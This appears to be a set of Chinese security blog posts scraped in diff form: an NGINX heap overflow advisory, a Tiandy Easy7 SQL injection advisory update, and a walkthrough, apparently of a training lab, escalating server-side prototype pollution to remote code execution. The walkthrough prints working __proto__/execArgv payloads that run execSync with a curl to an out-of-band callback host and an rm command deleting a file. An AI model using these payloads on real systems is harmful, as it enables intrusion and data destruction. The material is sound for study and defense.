||||
|
||||
|
||||
- [漫谈在安全公司做内部安全的体验](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247484556&idx=1&sn=8b09f6c75926cc10f3c68473adef2c56&chksm=eb6c26f4dc1bafe2620c0aa23aa62443fa00a789e4b14cff0317eded78d6e6e46ac82f94d9cd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- **C3安全峰会参后感**
|
||||
|
||||
- **提高认知效率秘籍**
|
||||
|
||||
- **向上型技术人的职业素养**
|
||||
|
||||
- [关于勇气的一次突破](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247485533&idx=1&sn=843edb9bb955020ce730e40d73134588&chksm=eb6c2a25dc1ba3339c0609ee4a669f73cf45a67cf3d4f8aa2ca09f773c49c9a5ae918b7e489c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [推荐：探索精神和财富自由之路](http://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247486216&idx=1&sn=10e49c2283c3419d08355f085f11eeec&chksm=eb6c2970dc1ba066615d4899bef154cd2df58d208150c60b54aaa5e2f4d541b2808d890a9a29&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
# 漏洞预警 | NGINX堆缓冲区溢出漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-05-24 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- CVE-2
|
||||
026-
|
||||
42945
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
NGINX是一款高性能、轻量级的开源Web服务器与反向代理服务，广泛用于静态资源托管、负载均衡、API网关、缓存加速等场景，支持HTTP/HTTPS、WebDAV、HTTP/3等多种协议。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-42945**
|
||||
|
||||
**漏洞类型：**
|
||||
堆缓冲区溢出
|
||||
|
||||
**影响：**
|
||||
远程代码执行
|
||||
|
||||
**简述：**
|
||||
NGINX ngx_http_rewrite_module存在堆缓冲区溢出漏洞，由于其处理特定rewrite指令时，由于内部标志位管理错误，导致堆缓冲区分配长度与实际写入长度不一致，从而引发堆缓冲区溢出。未经身份认证的攻击者可通过发送构造的HTTP请求触发漏洞，造成Worker进程崩溃，在特定环境下还可实现远程代码执行。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 1.0.0 <= NGINX Open Source <= 1.30.0
|
||||
|
||||
- 0.6.27 <= NGINX Open Source <= 0.9.7
|
||||
|
||||
- R32 <= NGINX Plus < R32 P6
|
||||
|
||||
- R36 <= NGINX Plus < R36 P4
|
||||
|
||||
- 2.16.0 <= NGINX Instance Manager <= 2.21.1
|
||||
|
||||
- 5.9.0 <= F5 WAF for NGINX <= 5.12.1
|
||||
|
||||
- 4.9.0 <= NGINX App Protect WAF <= 4.16.0
|
||||
|
||||
- 5.1.0 <= NGINX App Protect WAF <= 5.8.0
|
||||
|
||||
- F5 DoS for NGINX 4.8.0
|
||||
|
||||
- 4.3.0 <= NGINX App Protect DoS <= 4.7.0
|
||||
|
||||
- 1.3.0 <= NGINX Gateway Fabric <= 1.6.2
|
||||
|
||||
- 2.0.0 <= NGINX Gateway Fabric <= 2.5.1
|
||||
|
||||
- 3.5.0 <= NGINX Ingress Controller <= 3.7.2
|
||||
|
||||
- 4.0.0 <= NGINX Ingress Controller <= 4.0.1
|
||||
|
||||
- 5.0.0 <= NGINX Ingress Controller <= 5.4.1
|
||||
|
||||
**0x05 POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://nginx.org/
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 漏洞预警 | 天地伟业Easy7 SQL注入漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-05-19 23:50
|
||||
浅安 浅安安全 2026-05-24 23:50
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
@@ -23,7 +23,9 @@ SQL注入
|
||||
获取敏感信息
|
||||
|
||||
**简述：**
|
||||
天地伟业Easy7的/Easy7/rest/inquestRoom/getInquestRoomChannelInfo接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
天地伟业Easy7的
|
||||
/Easy7/rest/user/getAuthorityByUserId
|
||||
接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- 天地伟业Easy7
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
# 赏金实战｜从修改地址到远程代码执行，服务端原型链污染的威力有多可怕？
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-05-25 00:08
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
：本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
：严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
：任何对本文技术的滥用所引发的**后果自负**
|
||||
，与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
：内容仅供参考，作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
今天聊个特别有意思的案例，从一个不起眼的地址修改功能，一路摸到服务器权限。全程没有花里胡哨的骚操作，就是顺着逻辑往下挖，你会发现有时候漏洞就在眼皮底下，只是我们习惯性忽略了那些“不太对劲”的地方。
|
||||
|
||||
今天分享的这个案例，就是一种“串线”的典型。目标站点看起来很普通，有个地址修改功能，还有个管理员才能用的系统维护面板。单独看每个功能都没啥问题，但把两个凑一块，事情就变得有意思了。
|
||||
|
||||
第一步：把目标盯上那个不起眼的地址修改
|
||||
|
||||
登录之后，我习惯性地去账户页面转了一圈，随手改了个收货地址，然后立刻切到
|
||||
Burp 的
|
||||
HTTP 历史里翻看。
|
||||
|
||||
找到了，
|
||||
POST /my-account/change-address 这个请求。
|
||||
|
||||
一眼扫过去我就来精神了，前端提交的表单数据，被原封不动地包装成
|
||||
JSON 发往了服务端。更有意思的是，服务端返回的响应也是一个
|
||||
JSON 对象，里面包含着更新后的用户完整信息。这说明什么？说明服务器拿到我提交的数据后，大概率直接拿去拼装对象了，连个过滤都懒得做。
|
||||
|
||||
|
||||
|
||||
看到这种“来者不拒”的
|
||||
JSON 合并操作，脑子里就应该条件反射地蹦出四个字：
|
||||
原型污染。
|
||||
|
||||
第二步：手贱加个 __proto__ 试试水
|
||||
|
||||
二话不说，把请求扔进
|
||||
Repeater，开始在
|
||||
JSON 里动手脚。我在请求体里塞了这么一个玩意儿：
|
||||
```
|
||||
"__proto__": {
|
||||
"json spaces": 10
|
||||
}
|
||||
```
|
||||
|
||||
点击发送，然后盯着响应面板的“原始”视图。
|
||||
|
||||
|
||||
|
||||
如果你做过前端开发，肯定知道
|
||||
JSON.stringify 有个
|
||||
space 参数，用来控制缩进空格数。正常情况下，服务器返回的
|
||||
JSON 缩进是固定的。但你看，这响应的缩进明显变大了，每个层级都多了好几格空格。
|
||||
|
||||
就这一个细节，我心里基本有底了，
|
||||
原型污染成功。我注入的那个
|
||||
json spaces 属性，已经悄咪咪地挂到了全局
|
||||
Object.prototype 上，后续服务器在做 JSON 序列化的时候，全都被我“带歪”了节奏。
|
||||
|
||||
第三步：从污染到执行，还差一个“帮手”
|
||||
|
||||
单靠原型污染本身，大多数情况下
|
||||
只能搞点信息泄露或者逻辑绕过，想直接拿到
|
||||
命令执行，你得再往前想一步。
|
||||
|
||||
我开始在站点里瞎逛，翻到了管理面板。这里有个按钮，写着“运行维护任务”。点一下试试，页面提示正在清理数据库和文件系统，过了几秒返回结果。
|
||||
|
||||
|
||||
|
||||
这个行为太典型了，后台几乎百分百是调用了
|
||||
Node.js 的
|
||||
child_process 模块去开子进程干这些脏活累活。而子进程在启动的时候，恰恰会读取
|
||||
execArgv 这个属性来拼接命令行参数。
|
||||
|
||||
这不就串起来了吗？我能
|
||||
污染原型，而这个被污染的属性又会被子进程老老实实地读走。
|
||||
|
||||
思路通了的瞬间，payload 的骨架就出来了：
|
||||
```
|
||||
"__proto__": {
|
||||
"execArgv": [
|
||||
"--eval=require('child_process').execSync('curl https://你的COLLABORATOR地址.oastify.com')"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
我把这个请求发出去，回到浏览器再次点击“运行维护任务”。这次页面报了错，两个任务都执行失败了。但别慌，任务失败不重要，重要的是我的
|
||||
--eval 参数有没有被带进去。
|
||||
|
||||
切到
|
||||
Burp 的
|
||||
Collaborator 选项卡，点击轮询。几秒钟后，DNS 和 HTTP 交互记录齐刷刷地弹了出来。
|
||||
|
||||
|
||||
|
||||
那一刻，我知道
|
||||
远程代码执行到手了。
|
||||
|
||||
第四步：收网，让靶标落地
|
||||
|
||||
验证了命令能跑，剩下的就简单了。回到
|
||||
Repeater，把
|
||||
curl 命令替换成删除目标文件的指令：
|
||||
```
|
||||
"__proto__": {
|
||||
"execArgv": [
|
||||
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
发请求，再回管理面板点一次维护任务。服务器就会执行我们注入的远程代码，并将
|
||||
/home/carlos/morale.txt
|
||||
文件删除了。
|
||||
|
||||
回顾整个攻击链，你会发现每一步都走得特别自然：看到一个会反射用户数据的
|
||||
JSON 接口，试试
|
||||
原型污染；发现站点用了
|
||||
JSON.stringify 而且对缩进敏感，确认污染生效；翻到后台能触发子进程的功能，马上联想到用
|
||||
execArgv 去搭桥。整个过程中，没有一步是硬拗出来的，全是顺着应用本身的逻辑往下走。
|
||||
|
||||
如果今天这篇分享让你对
|
||||
原型污染的利用有了新思路，动动手指
|
||||
点个赞，让我知道你喜欢这样的实战拆解。
|
||||
关注本号，后续我还会继续聊更多挖洞中的骚操作和踩坑经验。觉得有用的话，欢迎
|
||||
转发给身边一起挖洞的兄弟，也别忘了点个
|
||||
在看，让更多人看到这条通往 RCE 的非主流路子。
|
||||
|
||||
咱们下期见。
|
||||
|
||||
|
||||
Reference in new issue
Block a user